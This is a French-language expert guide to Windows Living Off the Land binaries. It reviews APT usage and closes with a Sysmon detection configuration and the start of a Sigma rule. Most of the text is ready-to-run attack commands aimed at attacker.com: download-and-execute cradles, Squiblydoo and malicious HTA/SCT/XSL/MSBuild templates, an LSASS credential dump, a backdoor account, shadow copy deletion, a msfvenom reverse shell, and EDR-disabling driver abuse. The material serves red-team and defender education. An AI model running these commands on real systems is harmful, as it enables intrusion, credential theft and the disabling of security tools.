LOLBas / LOLBins : Living Off The Land — Guide Complet

Les techniques de Living Off the Land (LOL) représentent l'une des évolutions les plus significatives dans le paysage des menaces cybernétiques contemporaines, permettant aux attaquants d'exploiter les outils et binaires légitimes préinstallés sur les systèmes d'exploitation Windows pour exécuter des actions malveillantes sans déployer de malware traditionnel. Le projet LOLBAS (Living Off the Land Binaries, Scripts and Libraries) documente systématiquement ces binaires (LOLBins), scripts (LOLScripts) et bibliothèques qui peuvent être détournés à des fins offensives — de l'exécution de code arbitraire au téléchargement de charges utiles, en passant par l'évasion des défenses, la persistance et l'exfiltration de données. Des outils comme certutil, mshta, rundll32, regsvr32, msiexec, wmic, bitsadmin et cmstp sont présents sur chaque installation Windows et signés par Microsoft, ce qui leur confère une confiance implicite auprès des solutions de sécurité traditionnelles. Les groupes APT les plus sophistiqués — de APT29 (Cozy Bear) à Lazarus Group, en passant par APT41 et FIN7 — intègrent massivement ces techniques dans leurs chaînes d'attaque pour contourner les solutions EDR et les politiques d'exécution restrictives. Ce guide expert analyse en profondeur chaque catégorie de LOLBAS, les techniques d'exploitation avancées, les campagnes APT documentées, et les stratégies de détection et de défense basées sur Sysmon, les règles Sigma, AppLocker et WDAC pour neutraliser ces menaces qui exploitent la confiance accordée aux composants du système d'exploitation lui-même.

Fondamentaux du Living Off the Land

Le concept de Living Off the Land (littéralement "vivre de la terre") en cybersécurité désigne l'utilisation par les attaquants d'outils, binaires et fonctionnalités déjà présents sur le système cible, plutôt que le déploiement de malware personnalisé. Cette approche offre plusieurs avantages tactiques majeurs : les binaires utilisés sont signés par Microsoft (ou d'autres éditeurs de confiance), ce qui leur permet de contourner les politiques d'exécution basées sur les signatures numériques et les allowlists ; ils sont présents sur chaque installation Windows standard, garantissant la fiabilité des techniques indépendamment de la configuration spécifique du système cible ; leur utilisation légitime par les administrateurs système crée un bruit de fond dans les logs qui complique la distinction entre usage normal et malveillant ; et ils ne nécessitent pas de télécharger ou déposer de fichiers exécutables supplémentaires sur le disque, permettant des attaques partiellement ou totalement "fileless".

Le projet LOLBAS : taxonomie et classification

Le projet LOLBAS (lolbas-project.github.io), maintenu par la communauté de sécurité offensive, constitue la référence pour le catalogage des binaires, scripts et bibliothèques Windows exploitables. Chaque entrée du projet documente les fonctions offensives du binaire, les commandes d'exploitation, les techniques MITRE ATT&CK correspondantes, les chemins d'accès sur le système, et les pistes de détection. Le projet classe les binaires selon leurs capacités offensives : exécution de code (Execute), téléchargement de fichiers (Download), upload de fichiers (Upload), copie de fichiers (Copy), compilation de code (Compile), reconnaissance (Recon), évasion des contrôles (AWL Bypass), persistance, et credentials access. Les projets complémentaires GTFOBins (Linux/Unix) et LOLDrivers (drivers Windows vulnérables) étendent cette taxonomie aux autres plateformes et couches du système.

Mapping MITRE ATT&CK

Les techniques LOLBAS s'inscrivent dans plusieurs tactiques du framework MITRE ATT&CK, principalement sous T1218 - System Binary Proxy Execution (qui englobe mshta, rundll32, regsvr32, msiexec, cmstp, etc.), T1105 - Ingress Tool Transfer (certutil, bitsadmin, curl pour le téléchargement), T1059 - Command and Scripting Interpreter (PowerShell, VBScript, JScript), et T1574 - Hijack Execution Flow (DLL side-loading via des LOLBins). La compréhension de ce mapping est essentielle tant pour les red teamers (qui sélectionnent les techniques en fonction des gaps de détection) que pour les défenseurs (qui structurent leurs capacités de détection selon le framework ATT&CK), comme détaillé dans notre guide des techniques MITRE ATT&CK.

LOLBins d'exécution de code : analyse approfondie

Les LOLBins d'exécution de code constituent la catégorie la plus critique car ils permettent le lancement de charges utiles arbitraires en utilisant des processus Windows légitimes comme proxys d'exécution. Cette technique, référencée MITRE ATT&CK T1218, contourne les politiques d'application whitelisting qui autorisent les binaires signés Microsoft tout en bloquant les exécutables non reconnus. L'analyse détaillée de chaque LOLBin révèle des capacités et des vecteurs d'exploitation distincts.

certutil.exe : le couteau suisse de l'attaquant Windows

certutil.exe est l'utilitaire de gestion de certificats de Windows, présent depuis Windows XP. Sa capacité à télécharger des fichiers depuis Internet (-urlcache), encoder/décoder en Base64 (-encode/-decode), et calculer des hachages en fait l'un des LOLBins les plus polyvalents. Il est fréquemment utilisé pour le téléchargement de charges utiles (stager), l'encodage/décodage de payloads pour l'évasion, et la vérification d'intégrité de fichiers exfiltrés.

# certutil - Téléchargement de fichiers (T1105)
certutil -urlcache -split -f http://attacker.com/payload.exe C:\Windows\Temp\svchost.exe
certutil -urlcache -split -f https://attacker.com/beacon.dll C:\Users\Public\msupdate.dll

# certutil - Téléchargement avec encodage Base64 (évasion)
# 1. Encoder le payload côté attaquant
certutil -encode payload.exe payload.b64
# 2. Télécharger le fichier encodé (moins détectable)
certutil -urlcache -split -f http://attacker.com/payload.b64 C:\Temp\update.txt
# 3. Décoder localement
certutil -decode C:\Temp\update.txt C:\Temp\update.exe

# certutil - Encodage/Décodage Base64
certutil -encode C:\Windows\System32\cmd.exe cmd.b64
certutil -decode cmd.b64 restored_cmd.exe

# certutil - Calcul de hash (utile pour la reconnaissance)
certutil -hashfile C:\Windows\System32\ntdll.dll SHA256
certutil -hashfile C:\sensitive_data.zip MD5

# certutil - Alternative download via verifyctl (moins connue)
certutil -verifyctl -f -split http://attacker.com/payload.exe

# Nettoyage du cache certutil (anti-forensics)
certutil -urlcache * delete

mshta.exe : exécution de HTA et scripts distants

mshta.exe (Microsoft HTML Application Host) est le moteur d'exécution des fichiers HTA (HTML Application), qui combinent HTML et scripts (VBScript/JScript) avec des privilèges d'application de bureau plutôt que de navigateur web. mshta peut exécuter du code directement depuis une URL, ce qui en fait un vecteur de téléchargement et d'exécution en une seule commande — un capability particulièrement prisé dans les chaînes d'infection initiale (phishing, drive-by download). mshta hérite de la confiance accordée aux binaires Microsoft et peut contourner les restrictions de proxy car il utilise les paramètres de proxy système pour ses connexions HTTP.

# mshta - Exécution directe depuis URL (T1218.005)
mshta http://attacker.com/evil.hta

# mshta - Exécution de VBScript inline
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powershell -ep bypass -f C:\payload.ps1"", 0:close")

# mshta - Exécution de JScript inline
mshta javascript:a=(GetObject("script:http://attacker.com/payload.sct"));close();

# mshta - Reverse shell VBScript
mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""cmd /c powershell -nop -w hidden -enc aQBlAHgA..."", 0:close")

# Fichier HTA malveillant (evil.hta)
# <html>
# <head>
# <script language="VBScript">
# Set shell = CreateObject("WScript.Shell")
# shell.Run "powershell -ep bypass -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1')"
# self.close
# </script>
# </head>
# <body></body>
# </html>

rundll32.exe : chargement de DLL et exécution de fonctions

rundll32.exe est le chargeur de DLL Windows par excellence, capable d'exécuter des fonctions exportées de n'importe quelle DLL — légitime ou malveillante. Sa polyvalence en fait un LOLBin extrêmement courant dans les campagnes réelles. Les attaquants l'utilisent pour charger des DLL malveillantes (qui peuvent être renommées avec des extensions anodines), exécuter du JavaScript via mshtml.dll, et contourner les restrictions d'exécution car rundll32.exe est un binaire système critique qui ne peut généralement pas être bloqué sans impact sur le fonctionnement de Windows.

# rundll32 - Chargement de DLL malveillante (T1218.011)
rundll32.exe C:\Users\Public\beacon.dll,Start
rundll32.exe \\attacker.com\share\payload.dll,DllMain

# rundll32 - Exécution de JavaScript
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();h=new%20ActiveXObject("WScript.Shell").Run("calc.exe")

# rundll32 - Exécution via DLL légitime avec side-loading
# Copier une DLL légitime qui charge des dépendances
copy C:\Windows\System32\comsvcs.dll C:\Temp\
# La DLL malveillante prend le nom d'une dépendance attendue

# rundll32 - Dump de processus LSASS (credentials)
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id C:\Temp\lsass.dmp full

# rundll32 - Exécution de commande via shell32
rundll32.exe shell32.dll,ShellExec_RunDLL "cmd.exe" "/c whoami > C:\Temp\output.txt"

# rundll32 - Chargement de .NET assembly via DLL custom
rundll32.exe C:\Temp\CLRLoader.dll,Execute "C:\Temp\SharpTool.exe"

# rundll32 - URL protocol handler abuse
rundll32.exe url.dll,FileProtocolHandler http://attacker.com/payload.exe

regsvr32.exe : Squiblydoo et SCT files

regsvr32.exe est l'utilitaire d'enregistrement de composants COM (Component Object Model) de Windows. La technique Squiblydoo, popularisée par Casey Smith, exploite la capacité de regsvr32 à charger des scriptlets COM (.sct) distants via l'option /i, exécutant du code JScript ou VBScript arbitraire. Cette technique est particulièrement efficace car regsvr32 est un proxy d'exécution qui peut contourner AppLocker (dans ses configurations par défaut), opère depuis un contexte réseau permettant de récupérer du code distant, et ne laisse que peu de traces dans les logs standards de Windows.

# regsvr32 - Technique Squiblydoo (T1218.010)
# Chargement de scriptlet COM distant
regsvr32 /s /n /u /i:http://attacker.com/payload.sct scrobj.dll

# regsvr32 - Chargement local
regsvr32 /s /n /u /i:C:\Temp\payload.sct scrobj.dll

# Contenu du fichier payload.sct (scriptlet COM)
# <?XML version="1.0"?>
# <scriptlet>
#   <registration progid="TESTING" classid="{A1112221-0000-0000-0000-000000000000}">
#     <script language="JScript">
#       <![CDATA[
#         var r = new ActiveXObject("WScript.Shell").Run("powershell -nop -w hidden -enc ...");
#       ]]>
#     </script>
#   </registration>
# </scriptlet>

# regsvr32 - Enregistrement de DLL malveillante (persistance)
regsvr32 /s C:\Users\Public\malicious.dll

msiexec.exe : installation silencieuse et code distant

msiexec.exe est le service Windows Installer, responsable de l'installation, la maintenance et la suppression des logiciels au format MSI. Les attaquants exploitent sa capacité à installer des packages MSI depuis des URLs distantes, exécutant ainsi du code arbitraire contenu dans les actions personnalisées (Custom Actions) du MSI. Les packages MSI malveillants peuvent contenir des DLL exécutées avec les privilèges du service Windows Installer, potentiellement SYSTEM si le package est configuré pour une installation élevée.

# msiexec - Installation depuis URL distante (T1218.007)
msiexec /q /i http://attacker.com/payload.msi

# msiexec - Installation silencieuse locale
msiexec /q /i C:\Temp\update.msi

# msiexec - Exécution de DLL via msiexec
msiexec /y C:\Temp\payload.dll
msiexec /z C:\Temp\payload.dll

# msiexec - Installation avec logging (persistance via scheduled task dans MSI)
msiexec /q /i http://attacker.com/persistence.msi /L*v C:\Temp\install.log

# Création d'un MSI malveillant avec msfvenom
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.10 LPORT=443 -f msi -o payload.msi

# Création d'un MSI avec WiX Toolset (Custom Action)
# L'action personnalisée exécute une commande lors de l'installation

wmic.exe : Windows Management Instrumentation Command

wmic.exe (Windows Management Instrumentation Command-line) fournit une interface en ligne de commande pour WMI, le framework de gestion de Windows. Bien que Microsoft ait déprécié wmic.exe à partir de Windows 11, il reste présent sur la grande majorité des systèmes en production. WMIC est un LOLBin polyvalent permettant l'exécution de processus, la reconnaissance système, le mouvement latéral, et l'exfiltration de données. Sa capacité à exécuter des commandes sur des machines distantes via DCOM en fait un outil de choix pour le pivoting dans les réseaux Active Directory, complémentaire aux techniques d'escalade de privilèges Windows.

# wmic - Exécution de processus local (T1047)
wmic process call create "cmd.exe /c whoami > C:\Temp\output.txt"
wmic process call create "powershell -nop -w hidden -enc ..."

# wmic - Exécution distante (mouvement latéral)
wmic /node:192.168.1.100 /user:DOMAIN\admin /password:P@ss process call create "cmd.exe /c net user backdoor P@ss /add"

# wmic - Reconnaissance système
wmic os get Caption,Version,BuildNumber,OSArchitecture
wmic process list brief
wmic service get Name,DisplayName,PathName,StartMode
wmic startup list full
wmic qfe list brief  # Patches installés
wmic product get name,version  # Logiciels installés
wmic useraccount list brief
wmic group list brief
wmic share list brief
wmic logicaldisk get caption,description,providername

# wmic - Exécution XSL (evasion via stylesheets)
wmic os get /format:"http://attacker.com/payload.xsl"

# Contenu payload.xsl :
# <?xml version='1.0'?>
# <stylesheet xmlns="http://www.w3.org/1999/XSL/Transform"
#   xmlns:ms="urn:schemas-microsoft-com:xslt"
#   xmlns:user="placeholder" version="1.0">
#   <output method="text"/>
#   <ms:script implements-prefix="user" language="JScript">
#     var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
#   </ms:script>
# </stylesheet>

# wmic - Suppression de shadow copies (ransomware technique)
wmic shadowcopy delete /nointeractive

bitsadmin.exe : Background Intelligent Transfer Service

bitsadmin.exe est l'interface en ligne de commande du service BITS (Background Intelligent Transfer Service), utilisé par Windows Update et d'autres services pour le téléchargement de fichiers en arrière-plan. BITS gère automatiquement les interruptions réseau, les reprises de téléchargement, et la limitation de bande passante, ce qui rend les transferts initiés par bitsadmin plus discrets que les téléchargements directs. Les attaquants exploitent bitsadmin pour télécharger des charges utiles de manière asynchrone, établir de la persistance via les jobs BITS qui survivent aux redémarrages, et exfiltrer des données vers des serveurs externes.

# bitsadmin - Téléchargement de fichier (T1197)
bitsadmin /transfer myJob /download /priority high http://attacker.com/payload.exe C:\Temp\update.exe

# bitsadmin - Persistance via job notification
bitsadmin /create persistjob
bitsadmin /addfile persistjob http://attacker.com/beacon.exe C:\Temp\svchost.exe
bitsadmin /SetNotifyCmdLine persistjob C:\Temp\svchost.exe NULL
bitsadmin /SetMinRetryDelay persistjob 60
bitsadmin /resume persistjob

# bitsadmin - Exécution après téléchargement
bitsadmin /create downloadjob
bitsadmin /addfile downloadjob http://attacker.com/payload.exe C:\Temp\payload.exe
bitsadmin /SetNotifyCmdLine downloadjob "C:\Windows\System32\cmd.exe" "/c C:\Temp\payload.exe"
bitsadmin /resume downloadjob
bitsadmin /complete downloadjob

# Vérification des jobs BITS existants (défensif)
bitsadmin /list /allusers /verbose

# PowerShell alternative - Start-BitsTransfer
Start-BitsTransfer -Source http://attacker.com/payload.exe -Destination C:\Temp\update.exe

cmstp.exe : Microsoft Connection Manager Profile Installer

cmstp.exe (Connection Manager Profile Installer) est un utilitaire Windows utilisé pour installer les profils de connexion du Connection Manager. La technique d'exploitation, découverte par le chercheur Oddvar Moe, exploite la capacité de cmstp à charger des fichiers .inf contenant des directives d'exécution, permettant à la fois l'exécution de code et le bypass de l'UAC (User Account Control). Cette technique est particulièrement puissante car cmstp est rarement monitoré et peut être utilisé pour élever les privilèges de manière silencieuse.

# cmstp - Bypass UAC et exécution de code (T1218.003)
# Fichier .inf malveillant
# [version]
# Signature=$chicago$
# AdvancedINF=2.5
#
# [DefaultInstall_SingleUser]
# UnRegisterOCXs=UnRegisterOCXSection
#
# [UnRegisterOCXSection]
# %11%\scrobj.dll,NI,http://attacker.com/payload.sct
#
# [Strings]
# AppAct = "SOFTWARE\Microsoft\Connection Manager"
# ServiceName="UpdateService"
# ShortSvcName="UpdateService"

# Exécution avec bypass UAC
cmstp.exe /s /ns C:\Temp\payload.inf

# Exécution automatisée (sans interaction utilisateur)
# Nécessite SendKeys pour cliquer sur le prompt ou exploitation de l'auto-elevation

LOLBins de téléchargement et transfert de fichiers

Au-delà des LOLBins d'exécution qui incluent des capacités de téléchargement, Windows offre plusieurs utilitaires additionnels pouvant être détournés exclusivement pour le transfert de fichiers. Ces binaires sont souvent moins surveillés que certutil ou bitsadmin car leur usage premier ne suggère pas de capacité réseau évidente.

Autres binaires de téléchargement

# curl.exe (natif depuis Windows 10 1803)
curl.exe -o C:\Temp\payload.exe http://attacker.com/payload.exe
curl.exe -s http://attacker.com/beacon.ps1 | powershell -nop -

# Invoke-WebRequest (PowerShell natif)
Invoke-WebRequest -Uri http://attacker.com/payload.exe -OutFile C:\Temp\update.exe
(New-Object Net.WebClient).DownloadFile("http://attacker.com/payload.exe","C:\Temp\payload.exe")

# expand.exe - Extraction de fichiers CAB depuis URL
expand \\attacker.com\share\payload.cab C:\Temp\payload.exe

# esentutl.exe - Copie de fichiers (Extensible Storage Engine)
esentutl.exe /y \\attacker.com\share\payload.exe /d C:\Temp\payload.exe /o

# desktopimgdownldr (via DLL)
# Utilise le composant de téléchargement du fond d'écran ActiveDesktop
rundll32.exe "C:\Windows\System32\ieframe.dll",OpenURL http://attacker.com/payload.hta

# replace.exe - Copie de fichiers
replace.exe \\attacker.com\share\payload.exe C:\Temp /A

# finger.exe - Exfiltration de données via le protocole finger
finger.exe user@attacker.com  # Les données sont dans le "username"

# MpCmdRun.exe (Windows Defender) - Téléchargement
"C:\Program Files\Windows Defender\MpCmdRun.exe" -DownloadFile -url http://attacker.com/payload.exe -path C:\Temp\payload.exe

LOLScripts : PowerShell, VBScript et compilateurs .NET

Les LOLScripts englobent les interpréteurs de scripts et les utilitaires de compilation présents nativement sur Windows qui permettent l'exécution de code sans déployer de binaire exécutable. PowerShell est évidemment le plus utilisé, mais les attaquants sophistiqués exploitent également les compilateurs .NET intégrés (msbuild, csc, installutil) et les interpréteurs legacy (cscript, wscript) pour exécuter du code dans des contextes où PowerShell est restreint ou fortement monitoré.

PowerShell : techniques d'évasion avancées

PowerShell reste l'outil de post-exploitation le plus puissant sur Windows, offrant un accès complet au framework .NET, à WMI, au registre, et aux API Windows. Les attaquants utilisent des techniques d'évasion sophistiquées pour contourner les mécanismes de détection modernes : AMSI bypass, obfuscation, exécution en mémoire, et utilisation de versions alternatives de PowerShell.

# PowerShell - Techniques d'évasion courantes

# Exécution encodée (Base64)
powershell -enc aQBlAHgAIAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBiAGUAYQBjAG8AbgAuAHAAcwAxACcAKQA=

# Téléchargement et exécution en mémoire (fileless)
IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/beacon.ps1')
IEX (Invoke-WebRequest -Uri 'http://attacker.com/beacon.ps1' -UseBasicParsing).Content

# Bypass de politique d'exécution
powershell -ExecutionPolicy Bypass -File script.ps1
powershell -ep bypass -nop -w hidden -c "IEX(...)"

# Utilisation de System.Management.Automation.dll directement
# (Alternative quand powershell.exe est bloqué)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\PSRunner.exe

# PowerShell sans powershell.exe (via .NET)
# SyncAppvPublishingServer.exe peut exécuter du PowerShell
SyncAppvPublishingServer.exe "n; IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/ps.ps1')"

# Obfuscation de commandes
# Concaténation de strings
$a='IEX';$b='(New-Object Net.We';$c='bClient).Downloa';$d='dString("http://attacker.com/b.ps1")';iex ($b+$c+$d)
# Encodage de caractères
[char[]](73,69,88) -join ''  # = "IEX"

msbuild.exe : compilation et exécution de code .NET inline

msbuild.exe (Microsoft Build Engine) est le moteur de compilation du framework .NET, présent sur toute machine où le SDK .NET ou Visual Studio est installé. msbuild peut compiler et exécuter du code C# inline contenu dans des fichiers projet (.csproj/.vbproj) ou des fichiers de tâches (.targets), sans générer de fichier exécutable sur le disque. Cette capacité en fait un LOLBin de choix pour l'exécution de code fileless qui contourne les restrictions AppLocker configurées pour bloquer les exécutables non signés.

# msbuild.exe - Exécution de code C# inline (T1127.001)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe C:\Temp\payload.csproj

# Fichier payload.csproj :
# <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
#   <Target Name="Build">
#     <ClassExample />
#   </Target>
#   <UsingTask TaskName="ClassExample"
#     TaskFactory="CodeTaskFactory"
#     AssemblyFile="C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll">
#     <Task>
#       <Code Type="Class" Language="cs">
#         <![CDATA[
#           using System;
#           using System.Diagnostics;
#           using Microsoft.Build.Framework;
#           using Microsoft.Build.Utilities;
#           public class ClassExample : Task, ITask {
#             public override bool Execute() {
#               Process.Start("powershell", "-nop -w hidden -enc ...");
#               return true;
#             }
#           }
#         ]]>
#       </Code>
#     </Task>
#   </UsingTask>
# </Project>

installutil.exe et csc.exe

installutil.exe est l'utilitaire d'installation de services .NET qui exécute le code des méthodes Install()/Uninstall() des assemblies .NET. En plaçant du code malveillant dans la méthode Uninstall() d'un assembly, l'attaquant peut exécuter du code arbitraire via le flag /U sans enregistrer réellement un service. csc.exe (C# Compiler) permet la compilation directe de code C# en assemblies .NET sur la machine cible, éliminant le besoin de cross-compilation et permettant la génération de charges utiles adaptées à l'environnement runtime spécifique du système compromis.

# installutil - Exécution via Uninstall (T1218.004)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U C:\Temp\payload.exe

# csc.exe - Compilation de code malveillant sur la cible
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:C:\Temp\tool.exe C:\Temp\source.cs

# Compilation et exécution en une commande
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:exe /out:C:\Temp\r.exe C:\Temp\r.cs && C:\Temp\r.exe

# jsc.exe (JScript .NET compiler)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\jsc.exe /out:C:\Temp\payload.exe C:\Temp\payload.js

LOLDrivers : Bring Your Own Vulnerable Driver (BYOVD)

Les LOLDrivers (Living Off the Land Drivers) représentent la catégorie la plus dangereuse des techniques LOL car ils opèrent au niveau kernel du système d'exploitation. La technique BYOVD (Bring Your Own Vulnerable Driver) consiste à déployer sur le système cible un driver Windows légitime mais vulnérable, signé par un éditeur de confiance, puis à exploiter ses vulnérabilités pour obtenir un accès kernel permettant de désactiver les solutions de sécurité (EDR, antivirus), manipuler la mémoire noyau, et établir une persistance profonde résistante aux réinstallations et aux outils forensics standards. Le projet LOLDrivers (loldrivers.io) catalogue les drivers vulnérables connus avec leurs hashes, éditeurs et vulnérabilités exploitables.

Drivers vulnérables les plus exploités

Driver	Éditeur	Vulnérabilité	Groupes APT
RTCore64.sys	MSI (Micro-Star)	R/W mémoire physique arbitraire	BlackByte, RobbinHood
dbutil_2_3.sys	Dell	R/W mémoire kernel (CVE-2021-21551)	Lazarus Group
aswArPot.sys	Avast	Kill process arbitraire	AvosLocker, Cuba
procexp.sys	Sysinternals	Kill process kernel-mode	AuKill (Medusa)
gdrv.sys	GIGABYTE	R/W mémoire physique	Scattered Spider
IQVW64E.SYS	Intel	Mapping mémoire physique	InvisiMole
WinRing0x64.sys	Various	R/W I/O ports	Cryptominers
kprocesshacker.sys	Process Hacker	Process manipulation kernel	Multiple ransomware

# BYOVD - Exploitation type (pseudocode)
# 1. Déposer le driver vulnérable sur le disque
copy RTCore64.sys C:\Windows\Temp\RTCore64.sys

# 2. Créer et démarrer le service kernel
sc create vuln_driver type=kernel binpath=C:\Windows\Temp\RTCore64.sys
sc start vuln_driver

# 3. Exploiter le driver pour désactiver l'EDR
# Via ioctl : écriture en mémoire kernel pour patcher les callbacks
# Exemple avec l'outil Backstab ou EDRSandblast
EDRSandblast.exe --usermode --kernelmode

# Outils d'exploitation BYOVD
# Backstab - Utilise procexp.sys de Sysinternals
Backstab.exe -n CrowdStrike -k  # Kill le processus EDR via driver kernel

# KDU (Kernel Driver Utility) - Framework d'exploitation multi-drivers
kdu.exe -prv 1 -map C:\Temp\unsigned_driver.sys

# EDRSandblast - Exploitation pour neutraliser les EDR
EDRSandblast.exe --usermode  # Unhook ntdll
EDRSandblast.exe --kernelmode  # Remove kernel callbacks

# Vérification défensive des drivers chargés
driverquery /v /fo csv | findstr /i "vuln"
Get-WmiObject Win32_SystemDriver | Select-Object Name, PathName, State

LOLBAS dans les campagnes APT réelles

L'analyse des campagnes APT documentées révèle une utilisation systématique et sophistiquée des techniques LOLBAS par les groupes les plus avancés. Ces techniques sont intégrées à chaque phase de la kill chain, du spear-phishing initial au mouvement latéral et à l'exfiltration de données. La compréhension de ces usages réels est essentielle tant pour les red teamers qui répliquent ces TTP que pour les analystes SOC qui doivent les détecter, en s'appuyant sur les méthodes de threat hunting proactif.

APT29 (Cozy Bear) : sophistication maximale

APT29, le groupe de cyberespionnage attribué au SVR (service de renseignement extérieur russe), est l'un des utilisateurs les plus sophistiqués des techniques LOLBAS. Dans la campagne SolarWinds/SUNBURST (2020), APT29 a utilisé rundll32.exe pour charger la backdoor SUNBURST déguisée en plugin SolarWinds légitime, certutil.exe pour le transfert de fichiers entre segments réseau, PowerShell avec AMSI bypass pour l'exécution de scripts de reconnaissance, et WMI pour le mouvement latéral et la persistance. Le groupe a également utilisé msiexec.exe pour déployer des implants via des packages MSI déguisés en mises à jour logicielles. La sophistication de leur usage des LOLBins a permis à l'attaque de rester indétectée pendant plus de neuf mois dans les réseaux de milliers d'organisations, incluant des agences gouvernementales américaines.

Lazarus Group : BYOVD à grande échelle

Lazarus Group (Corée du Nord) a popularisé l'utilisation des techniques BYOVD dans les campagnes de vol de cryptomonnaies et de cyberespionnage. Le groupe utilise le driver vulnérable dbutil_2_3.sys (Dell) pour obtenir un accès kernel, désactiver les solutions EDR/AV, puis déployer leurs implants. Lazarus combine ces techniques kernel avec des LOLBins user-mode : mshta.exe pour l'exécution initiale depuis des documents piégés, certutil.exe pour le staging de charges utiles, et wmic.exe pour la reconnaissance et le mouvement latéral. L'opération DreamJob, ciblant les ingénieurs du secteur aéronautique et de la défense via de fausses offres d'emploi sur LinkedIn, illustre la combinaison de social engineering sophistiqué avec des techniques LOLBAS pour la compromission et la persistance.

FIN7 / Carbanak : LOLBins dans le cybercrime financier

FIN7, le groupe cybercriminel responsable des campagnes Carbanak ciblant les institutions financières, utilise intensivement les LOLBins dans ses chaînes d'infection. La séquence typique commence par un document Office piégé utilisant des macros VBA pour invoquer mshta.exe ou wscript.exe, qui télécharge et exécute un script PowerShell, lequel déploie la backdoor Carbanak via rundll32.exe. Pour la persistance, FIN7 utilise des tâches planifiées invoquant mshta.exe ou des jobs BITS persistants via bitsadmin.exe. Le groupe a été observé utilisant msbuild.exe pour compiler et exécuter des charges utiles C# directement sur les machines des victimes, contournant les restrictions AppLocker dans les environnements bancaires.

Détection des techniques LOLBAS

La détection des techniques LOLBAS est intrinsèquement complexe car elle nécessite de distinguer l'usage légitime d'un binaire système de son utilisation malveillante — un problème de classification qui génère inévitablement des faux positifs. L'approche la plus efficace combine la détection basée sur les indicateurs (signatures de commandes suspectes), l'analyse comportementale (process trees anormaux, relations parent-enfant inhabituelles), et la corrélation d'événements multiples pour construire un score de suspicion. Sysmon, les règles Sigma et les solutions EDR constituent les piliers de cette stratégie de détection.

Sysmon : configuration optimale pour LOLBAS

Sysmon (System Monitor) de Sysinternals est l'outil de référence pour la collecte de télémétrie avancée sur Windows. Sa configuration détermine la quantité et la qualité des événements collectés, impactant directement la capacité de détection des techniques LOLBAS. Les événements Sysmon les plus pertinents sont l'Event ID 1 (Process Create) avec les arguments de ligne de commande, l'Event ID 3 (Network Connection) pour détecter les téléchargements via LOLBins, l'Event ID 7 (Image Loaded) pour le chargement de DLL suspectes, l'Event ID 11 (File Create) pour les fichiers déposés par les LOLBins, et l'Event ID 13 (Registry Value Set) pour la persistance.

<!-- Configuration Sysmon optimisée pour la détection LOLBAS -->
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Event ID 1: Process Creation - Capturer les LOLBins suspects -->
    <RuleGroup name="LOLBins" groupRelation="or">
      <ProcessCreate onmatch="include">
        <!-- certutil avec arguments de téléchargement -->
        <CommandLine condition="contains any">urlcache;-encode;-decode;-verifyctl</CommandLine>
        <!-- mshta -->
        <Image condition="end with">mshta.exe</Image>
        <!-- rundll32 avec arguments suspects -->
        <CommandLine condition="contains any">javascript;http://;https://;\\\\</CommandLine>
        <!-- regsvr32 avec scriptlets -->
        <CommandLine condition="contains any">/i:http;/i:https;scrobj.dll</CommandLine>
        <!-- msiexec distant -->
        <CommandLine condition="contains any">/i http;/i https;/q /i</CommandLine>
        <!-- wmic execution et XSL -->
        <CommandLine condition="contains any">process call create;/format:</CommandLine>
        <!-- cmstp -->
        <Image condition="end with">cmstp.exe</Image>
        <!-- MSBuild -->
        <Image condition="end with">MSBuild.exe</Image>
        <!-- InstallUtil -->
        <CommandLine condition="contains">/U </CommandLine>
        <!-- bitsadmin -->
        <CommandLine condition="contains any">/transfer;/SetNotifyCmdLine</CommandLine>
      </ProcessCreate>
    </RuleGroup>

    <!-- Event ID 3: Network Connection - LOLBins vers Internet -->
    <RuleGroup name="LOLBinNetwork" groupRelation="or">
      <NetworkConnect onmatch="include">
        <Image condition="end with">certutil.exe</Image>
        <Image condition="end with">mshta.exe</Image>
        <Image condition="end with">regsvr32.exe</Image>
        <Image condition="end with">msiexec.exe</Image>
        <Image condition="end with">msbuild.exe</Image>
        <Image condition="end with">installutil.exe</Image>
      </NetworkConnect>
    </RuleGroup>

    <!-- Event ID 7: DLL Loading par LOLBins -->
    <RuleGroup name="LOLBinDLL" groupRelation="or">
      <ImageLoad onmatch="include">
        <Image condition="end with">rundll32.exe</Image>
        <ImageLoaded condition="excludes">C:\Windows\</ImageLoaded>
      </ImageLoad>
    </RuleGroup>

    <!-- Event ID 6: Driver Loaded - BYOVD Detection -->
    <RuleGroup name="LOLDrivers" groupRelation="or">
      <DriverLoad onmatch="include">
        <!-- Tous les chargements de drivers pour analyse -->
        <Signed condition="is">true</Signed>
      </DriverLoad>
    </RuleGroup>
  </EventFiltering>
</Sysmon>

Règles Sigma pour la détection LOLBAS

Le format Sigma est le standard de facto pour l'écriture de règles de détection portables entre SIEM (Splunk, Elastic, Microsoft Sentinel, etc.). Le repository Sigma maintient un ensemble exhaustif de règles ciblant les techniques LOLBAS, développées et validées par la communauté. Ces règles constituent une base de détection indispensable pour tout SOC, comme abordé dans notre guide des règles Sigma.

# Règle Sigma - Certutil téléchargement suspect
title: Certutil Download Suspicious File
